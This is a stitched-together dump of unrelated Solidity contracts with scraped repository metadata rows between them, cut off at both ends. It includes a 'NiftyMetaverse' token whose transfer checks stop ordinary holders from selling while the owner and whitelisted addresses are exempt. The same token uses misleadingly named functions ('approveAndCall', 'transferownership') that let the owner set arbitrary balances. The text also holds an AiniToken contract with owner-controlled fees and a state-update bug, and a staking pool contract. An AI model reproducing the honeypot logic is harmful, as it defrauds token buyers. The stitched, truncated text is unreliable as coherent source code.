uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract NiftyMetaverse {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 344,808 | 509 |
a03ae58a90a35cc273ac39b4579ff7cb2d6d2f5afa81b6d3c736056df81fa28b
| 18,160 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THmnxzvRXmuz5F4H1v5km6WTkgw8cKN2vz_AiniToken.sol
| 4,210 | 17,179 |
//SourceUnit: AiniToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ITRC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract AiniToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public deflationTotalAmount;
uint256 public deflationAmount;
address public _fundAddress;
address public _bonusAddress;
address public _burnAddress;
Liquidity[] private LiquidityList;
struct Liquidity {
bool flag;
address user;
uint256 lpAmout;
uint256 lastTime;
uint256 index;
}
mapping(address => Liquidity) private LiquidityOrder;
address public lpPoolAddress;
uint256 public lpFeeAmount=0;
uint256 public lpTotalAmount=0;
string private _name = 'AI';
string private _symbol = 'AINI TOKEN';
uint8 private _decimals = 18;
uint256 private _totalSupply = 9434 * 10**uint256(_decimals);
FeeConfig public feeConfig;
struct FeeConfig {
uint256 _bonusFee;
uint256 _leaveFee;
uint256 _fundFee;
uint256 _deflationFee;
}
mapping(address => bool) private _isExcludedFee;
constructor () {
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function excludeFee(address account) public onlyOwner {
_isExcludedFee[account] = true;
}
function setExchangePool(address _lpPoolAddress) public onlyOwner {
lpPoolAddress = _lpPoolAddress;
}
function setLpFeeAmount(uint256 _amount) public onlyOwner {
lpFeeAmount=_amount;
}
function setLpTotalAmount(uint256 _amount)public onlyOwner {
lpTotalAmount=_amount;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
bool takeFee = false;
if(lpPoolAddress==recipient||lpPoolAddress==sender){
if(lpPoolAddress==recipient){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(sender);
bool flag=false;
if (LiquidityOrder[sender].flag == false) {
if(lpToken>0){
Liquidity memory liquidity = Liquidity(true,sender,lpToken,block.timestamp,LiquidityList.length);
LiquidityOrder[sender] = liquidity;
LiquidityList.push(liquidity);
flag=true;
}
} else {
Liquidity storage order = LiquidityOrder[sender];
if(order.lpAmout<lpToken){
lpToken=SafeMath.sub(lpToken, order.lpAmout);
order.lpAmout = SafeMath.add(order.lpAmout, lpToken);
order.lastTime=block.timestamp;
flag=true;
LiquidityOrder[sender]=order;
LiquidityList[order.index]=order;
}
}
if(flag){
lpTotalAmount=lpTotalAmount.add(lpToken);
}else{
takeFee = true;
}
}
if(lpPoolAddress==sender){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(recipient);
if (LiquidityOrder[recipient].flag == true) {
Liquidity storage order = LiquidityOrder[recipient];
if(order.lpAmout>lpToken){
uint256 removeToken=SafeMath.sub(order.lpAmout,lpToken);
order.lpAmout = SafeMath.sub(order.lpAmout, removeToken);
if(order.lpAmout==0){
order.flag=false;
}
lpTotalAmount=lpTotalAmount.sub(removeToken);
LiquidityOrder[sender]=order;
LiquidityList[order.index]=order;
}
}
}
}else{
takeFee=true;
}
_tokenTransfer(sender, recipient, amount, takeFee);
}
function getValue(uint256 lpAmount) public view virtual returns (uint256){
uint256 rate=lpAmount.mul(10**8).div(lpTotalAmount);
return lpFeeAmount.mul(rate).div(10**8);
}
function takeLiquidity() public onlyOwner {
Liquidity[] memory orders= LiquidityList;
if(orders.length>0){
for(uint256 i=0; i<orders.length;i++){
Liquidity memory l = orders[i];
if(l.flag){
uint256 awardAmount = getValue(l.lpAmout);
if(awardAmount>0&&_balances[address(_burnAddress)]>=lpFeeAmount){
_balances[address(_burnAddress)] = _balances[address(_burnAddress)].sub(awardAmount);
_balances[l.user] = _balances[l.user].add(awardAmount);
lpFeeAmount=lpFeeAmount.sub(awardAmount);
emit Transfer(address(_burnAddress), l.user, awardAmount);
}
}
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 _amount,bool takeFee) private {
uint256 realSenderAmount=_amount;
uint256 realRecipientAmount=_amount;
if(takeFee) {
(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) = _getValues(_amount);
if(sender!=lpPoolAddress){
if(!_isExcludedFee[sender]){
if(deflationTotalAmount<deflationAmount+deflationFee){
deflationFee= deflationTotalAmount-deflationAmount;
}
if(deflationFee>0){
realRecipientAmount=realRecipientAmount-deflationFee;
deflationAmount=deflationAmount+deflationFee;
_balances[address(_burnAddress)] = _balances[address(_burnAddress)].add(deflationFee);
emit Transfer(sender, address(_burnAddress), deflationFee);
}
}
}
if(lpPoolAddress==recipient){
if(fundFee>0){
realRecipientAmount=realRecipientAmount-fundFee;
lpFeeAmount = lpFeeAmount.add(fundFee);
_balances[address(_fundAddress)] = _balances[address(_fundAddress)].add(fundFee);
emit Transfer(sender, address(_fundAddress), fundFee);
}
if(bonusFee>0){
realRecipientAmount=realRecipientAmount-bonusFee;
_balances[address(_bonusAddress)] = _balances[address(_bonusAddress)].add(bonusFee);
emit Transfer(sender, address(_bonusAddress), bonusFee);
lpFeeAmount=lpFeeAmount.add(bonusFee);
}
if(leaveFee>0){
realRecipientAmount=realRecipientAmount-leaveFee;
realSenderAmount=realSenderAmount-leaveFee;
}
}
}
_balances[sender] = _balances[sender].sub(realSenderAmount);
_balances[recipient] = _balances[recipient].add(realRecipientAmount);
emit Transfer(sender, recipient, realRecipientAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getValues(uint256 _amount) private view returns (uint256,uint256,uint256,uint256) {
uint256 bonusFee = _amount.mul(feeConfig._bonusFee).div(10 ** 3);
uint256 leaveFee = _amount.mul(feeConfig._leaveFee).div(10 ** 3);
uint256 fundFee = _amount.mul(feeConfig._fundFee).div(10 ** 3);
uint256 deflationFee = _amount.mul(feeConfig._deflationFee).div(10 ** 3);
return (bonusFee,leaveFee,fundFee,deflationFee);
}
function getLiquidityList(uint256 _index) public view virtual returns (Liquidity memory) {
return LiquidityList[_index];
}
function getLiquidityOrder(address _account) public view virtual returns (Liquidity memory) {
return LiquidityOrder[_account];
}
function setFeeConfig(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) public onlyOwner {
feeConfig=FeeConfig(bonusFee, leaveFee, fundFee, deflationFee);
}
function setBurnAddress(address account) public onlyOwner {
_burnAddress = account;
}
function setDeflationTotalAmount(uint256 amount) public onlyOwner {
deflationTotalAmount = amount;
}
function setDeflationAmount(uint256 amount) public onlyOwner {
deflationAmount = amount;
}
function setBonusAddress(address account) public onlyOwner {
_bonusAddress = account;
}
function setFundAddress(address account) public onlyOwner {
_fundAddress = account;
}
}
| 293,720 | 510 |
3537e8ec9245c86b62b38dbc53b833f2fba49dabfb942cec328fd248228ba780
| 10,926 |
.sol
|
Solidity
| false |
446032192
|
grapefi/contracts
|
227b03e96cd9edd177f6ff822acd571b3464ab3a
|
distribution/WineRewardPool.sol
| 2,762 | 10,451 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// Note that this pool has no minter key of wine (rewards).
contract WineRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Wine to distribute per block.
uint256 lastRewardTime; // Last time that wine distribution occurs.
uint256 accWinePerShare; // Accumulated wine per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public wine;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when wine mining starts.
uint256 public poolStartTime;
// The time when wine mining ends.
uint256 public poolEndTime;
uint256 public winePerSecond = 0.00128253 ether; // 41000 wine / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 370 days; // 370 days
uint256 public constant TOTAL_REWARDS = 41000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _wine,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_wine != address(0)) wine = IERC20(_wine);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "WineRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "WineRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accWinePerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's wine allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(winePerSecond);
return poolEndTime.sub(_fromTime).mul(winePerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(winePerSecond);
return _toTime.sub(_fromTime).mul(winePerSecond);
}
}
// View function to see pending Wine on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accWinePerShare = pool.accWinePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _wineReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accWinePerShare = accWinePerShare.add(_wineReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accWinePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _wineReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accWinePerShare = pool.accWinePerShare.add(_wineReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accWinePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeWineTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accWinePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accWinePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeWineTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accWinePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe wine transfer function, just in case if rounding error causes pool to not have enough wine.
function safeWineTransfer(address _to, uint256 _amount) internal {
uint256 _wineBal = wine.balanceOf(address(this));
if (_wineBal > 0) {
if (_amount > _wineBal) {
wine.safeTransfer(_to, _wineBal);
} else {
wine.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (wine or lps) if less than 90 days after pool ends
require(_token != wine, "wine");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 268,188 | 511 |
5246c7ff6dc8f6cd26b915ee4a010950806a19445dfdb4489da687b7e2d4bfec
| 30,014 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/dd/dd798B67C7A4E10BdeE99203b73B7E9Cf7E80CD1_PHat.sol
| 3,393 | 12,609 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
